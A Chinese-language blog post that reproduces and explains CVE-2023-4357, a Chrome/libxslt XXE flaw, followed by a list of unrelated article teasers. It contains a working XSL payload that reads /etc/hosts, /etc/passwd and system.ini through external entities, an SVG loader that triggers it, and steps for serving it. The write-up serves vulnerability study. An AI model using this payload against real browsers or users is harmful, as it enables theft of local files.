【CVE-2023-4357】Chrome-XXE 任意文件读取漏洞复现及原理解析

官方文档

https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

漏洞描述

Short description: Libxslt is the default XSL library used in WebKit based browsers such as chrome, safari etc. Libxslt allows external entities inside documents that are loaded by XSL document() method. An attacker can bypass security restrictions, access file://urls from http(s)://urls and gain file access. With the default sandbox attacker can read /etc/hosts file on ios (safari/chrome), mac (safari/chrome), android (chrome) and samsung tv (default browser). When the -no-sandbox attribute is used (Electron/PhantomJS) an attacker can read any file on any OS.

来自: 1458911 - Security: Libxslt arbitrary file reading using document() method and external entities. - chromium

译:

简述:libxslt 是基于 webkit 的浏览器(如 Chrome、safari 等)中使用的默认 XSL 库。Libxslt 允许外部实体进入由 XSL document() 方法加载的文档。攻击者可以绕过安全限制,从 http(s)://url 访问 file://url 并获取文件访问权限。使用默认的沙盒,攻击者可以在 ios(safari/chrome),mac(safari/chrome),android(chrome)和 samsung tv(默认浏览器) 上读取 /etc/hosts 文件,当使用 -no-sandbox 属性时,攻击者可以读取操作系统上的任意文件。

影响版本

  • Chrome 版本 < 116.0.5845.96
  • Chromium 版本 < 116.0.5845.96
  • Electron 版本 < 26.1.0

漏洞复现

  1. 准备 Chrome 浏览器,版本需低于 116.0
  2. 编写 XLS 文件,构造 XXE
  3. 编写 SVG 代码,使用 document 方法加载 XLS 文档
  4. 将 SVG 代码托管在服务器上访问

相关代码

XLS 文件(XXE 漏的核心代码)

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]> <div><p>host: &hosts;</p><p>passwd: &passwd;</p><p>sysini: &sysini;</p>
</div>

这里写成 XML 格式也是完全可以的。

关系类似于 JSP 和 Java 的关系(不太准确,但比较容易理解),XLS 实际上就是在 XML 的基础上增加了一些扩展的语法,从而可以将 XML 中的数据转换为 HTML 呈现。

因为下面示例的 XLS 代码中,我并没有加入任何样式,所以是可以原封不动的转为 XML 格式来复现漏洞的,但是要记得 SVG 中引用的文件格式要一致。

SVG 文件加载 XLS

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><foreignObject id="xxx" width="1000" height="1000"><div xmlns="http://www.w3.org/1999/xhtml">XSL-Version: <xsl:value-of select="system-property('xsl:version')"/><br/>document() <xsl:copy-of  select="document('test.xsl')"/></div></foreignObject></svg></xsl:template>
</xsl:stylesheet>

SVG 是一种基于 XML 的可缩放矢量图格式,由于 SVG 是基于 XML,而 XSL 早期又经常被用来对 XML 进行一些样式优化(现在大多用 CSS 来对 SVG 做样式优化)。

代码解析:

  1. value-of 语法用于在 xsl 中提取 xml 文档中的值的,如上 <xsl:value-of select="system-property('xsl:version')"/>意为使用系统属性方法获取 xsl 的版本;
  2. copy-of 语法用于将 xml 文档中的节点复制输出到当前位置,如上 <xsl:copy-of select="document('test.xsl')"/>意为使用 document 方法加载 test.xsl 文档,并将加载到的内容复制输出到当前位置;
  3. **document**方法就是此次 XXE 漏洞的核心所在。它的作用就是加载外部 XML 文档,但由于内部并没有做好安全措施,从而导致了这个漏洞的产生。
  4. foreignObject是 SVG 中允许嵌入不同 XML 命名空间的语法,与本次漏洞关系不大。其他代码都是一些 XML 文件的固定配置引用。如果仅为了复现漏洞,上述 SVG 文件可以简化如下:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><xsl:copy-of  select="document('test.xml')"/></xsl:template>
</xsl:stylesheet>

效果展示

第一步:python -m http.server 8888

使用 python 在 SVG 文件所在目录下启动一个端口为 8888 的 HTTP 服务

img

第二步:chrome --no-sandbox

在 chrome 目录下(v114.0 测试版)使用非沙盒模式启动 chrome 浏览器

  • 如果使用默认方式启动,仅在 linux 系统下能访问到 /etc/hosts 文件
  • 如果使用 --no-sandbox 模式启动,在 linux 和 windows 下都可以访问任意文件

img

第三步:http://127.0.0.1:8888/test.svg

在浏览器中访问 test.svg (没有做样式处理),由于是 Windows 环境复现,前面 host 和 passwd 的内容为空,只获取到 sysini 的内容。

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/153045.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UML统一建模语言

UML包含3种构造块&#xff1a;事物、关系、图。 事物&#xff1a;模型中代表性成分的抽象关系&#xff1a;把事物结合在一起图&#xff1a;聚集了相关的事物 事物 结构事务&#xff1a;模型的静态部分&#xff0c;包括类、接口、协作、用例、主动类、构件、制品、结点 行为事…

ubuntu 解决pip/pip3安装库各种报错问题

诸如下面类似的报错: 都是由于pip损坏导致 File “/usr/local/bin/pip3”, line 7, in from pip._internal.cli.main import main File “/usr/local/lib/python3.5/dist-packages/pip/_internal/cli/main.py”, line 57 sys.stderr.write(f"ERROR: {exc}") 解绝办法…

py split 用法

在Python中&#xff0c;split()函数用于将字符串按照指定的分隔符进行分割&#xff0c;并返回一个字符串列表。它的基本用法如下&#xff1a; string "Hello, World!" split_string string.split(",") print(split_string)输出结果为&#xff1a; [Hel…

节点导纳矩阵

节点导纳矩阵&#xff08;Node Admittance Matrix&#xff09;是电力系统分析中的关键工具&#xff0c;它用于描述电力系统中不同节点之间的电导和电纳参数。这个矩阵为电力工程师提供了深入了解电力系统运行和分析所需的数学工具。 节点导纳矩阵是一个复数矩阵&#xff0c;通常…

Shell判断:模式匹配:case(一)

一、前言 shell编程中if和case都是用来做流控的。 二、case语法结构 case 变量 in 模式1&#xff09; 命令序列1 ;; 模式2&#xff09; 命令序列2 ;; 模式3&#xff09; 命令序列3 ;; *) 无匹配…

如何科学的进行Android包体积优化

这篇文章会分享小厂如何做包体积优化相关主题&#xff0c;涉及内容包括&#xff1a;1) Android包体积优化的一种可能是比较标准的推进做法&#xff0c;2) 大致流程的心路历程和思考方式&#xff0c;3) 如何去总结和分享你们进行过的包体积优化项目。本文不仅仅是一篇分享&#…

Android Binder 是怎么实现进程间通信

文章目录 Android Binder 是怎么实现进程间通信 Android Binder 是怎么实现进程间通信 Android Binder 机制的实现基于 Linux 内核中的 Inter-Process Communication&#xff08;IPC&#xff09;机制&#xff0c;具体来说&#xff0c;它是通过进程间共享内存和进程间调用&…

SpringCloud--分布式锁实现

一、简介 分布式锁其实就是控制分布式系统中不同进程共同访问共享资源的一种锁的实现。在分布式系统中各个微服务都是独立部署在不同的服务器上&#xff0c;如果多个服务同时操作同一个共享资源的话&#xff0c;就不能像单体服务那样通过synchronized或者Lock等同步机制保证一…

深入探索 PaddlePaddle 中的计算图

**引言** 计算图是深度学习平台 PaddlePaddle 的核心组件之一&#xff0c;它提供了一种图形化的方式来表示和执行深度学习模型。通过了解和理解 PaddlePaddle 中的计算图&#xff0c;我们可以更好地理解深度学习的工作原理&#xff0c;并且能够更加灵活和高效地构建和训练复杂…

stable diffusion十七种controlnet详细使用方法总结

个人网站&#xff1a;https://tianfeng.space 前言 最近不知道发点什么&#xff0c;做个controlnet 使用方法总结好了&#xff0c;如果你们对所有controlnet用法&#xff0c;可能了解但是有点模糊&#xff0c;希望能对你们有用。 一、SD controlnet 我统一下其他参数&#…

PLC梯形图实操——风扇正反转

文章目录 1.项目内创建函数块&#xff08;FB&#xff09;2.项目内创建数据块&#xff08;DB&#xff09;2.1去除优化块访问2.2去除优化块的访问后对数据块进行编译 3.在函数块&#xff08;FB&#xff09;内实现正转反转的自锁与互锁3.1在函数块内实现电机正反转的梯形图 4.主函…

2 Redis的高级数据结构

1、Bitmaps 首先&#xff0c;最经典的应用场景就是用户日活的统计&#xff0c;比如说签到等。 字段串&#xff1a;“dbydc”&#xff0c;根据对应的ASCII表&#xff0c;最后可以得到对应的二进制&#xff0c;如图所示 一个字符占8位&#xff08;bit&#xff09;&#xff0c;…

解决SpringBoot中的MyBatis驼峰命名映射报错column不匹配问题

使用MyBatis-Plus映射出现与数据库column匹配不上的报错 Cause: java.sql.SQLSyntaxErrorException: Unknown column ‘register_time’ in ‘field list’ 源代码&#xff1a; Data TableName("db_account") public class Account {TableId(type IdType.AUTO)Inte…

Java的包,import

包名定义&#xff1a; &#xff08;1&#xff09;名字全部小写 &#xff08;2&#xff09;中间用.隔开 &#xff08;3&#xff09;一般都是公司域名倒着写 &#xff1a; com.jd com.msb &#xff08;4&#xff09;加上模块名字&#xff1a; com.jd.login com.jd.re…

mysql mvcc介绍

一、什么是mvcc MVCC&#xff0c;即Multi-Version Concurrency Control &#xff08;多版本并发控制&#xff09;。它是一种并发控制的方法&#xff0c;一般在数据库管理系统中&#xff0c;实现对数据库的并发访问&#xff0c;在编程语言中实现事务内存。 二、什么时候会出现…

HTTP1.1升级HTTP2.0

HTTP1.1升级HTTP2.0 一&#xff0c;前言介绍 1.为什么要升级http2.0 HTTP2.0相比于HTTP1.x有以下几个优点&#xff1a; 二进制分帧&#xff1a;HTTP2.0将所有传输的信息分割为更小的消息和帧&#xff0c;并采用二进制格式对它们进行编码&#xff0c;这样可以更好地对数据进行…

【Rust】快速教程——模块mod与跨文件

前言 道尊&#xff1a;没有办法&#xff0c;你的法力已经消失&#xff0c;我的法力所剩无几&#xff0c;除非咱们重新修行&#xff0c;在这个世界里取得更多法力之后&#xff0c;或许有办法下降。——《拔魔》 \;\\\;\\\; 目录 前言跨文件mod多文件mod 跨文件mod //my_mod.rs…

单机版-redis(手动部署)

单机版-redis部署 部署模式:单机版-redis部署 Redis版本&#xff1a;redis-4.0.1 部署redis方式&#xff1a;手动部署 解决GCC问题 linux升级gcc版本详细教程_gcc升级-CSDN博客 在完成第三步时已完成配置&#xff0c;后续为操作命令以及注意事项&#xff1b; 在进行操作数…

一文彻底搞懂 JS 闭包

闭包 定义 闭包是指一个引用了另一个函数作用域中变量的函数&#xff0c;由于 JS 中作用域的特性&#xff0c;闭包常用于嵌套函数。 特性 保存性保护性 保存性 保存性是指闭包函数所访问的那些变量不会立即被清除&#xff0c;这是由于 IE6、7 所使用的内存回收机制导致的…

单例模式(饱汉式和饿汉式)

饱汉式 在真正需要使用的时候才进行构建&#xff0c;而不是在一开始就创建。如果要保证线程安全&#xff0c;需要使用一个mutex来保证。 饿汉式 类加载时即创建对象&#xff0c;线程安全优点&#xff1a;执行效率高缺点&#xff1a;类加载时就初始化&#xff0c;浪费内存资源…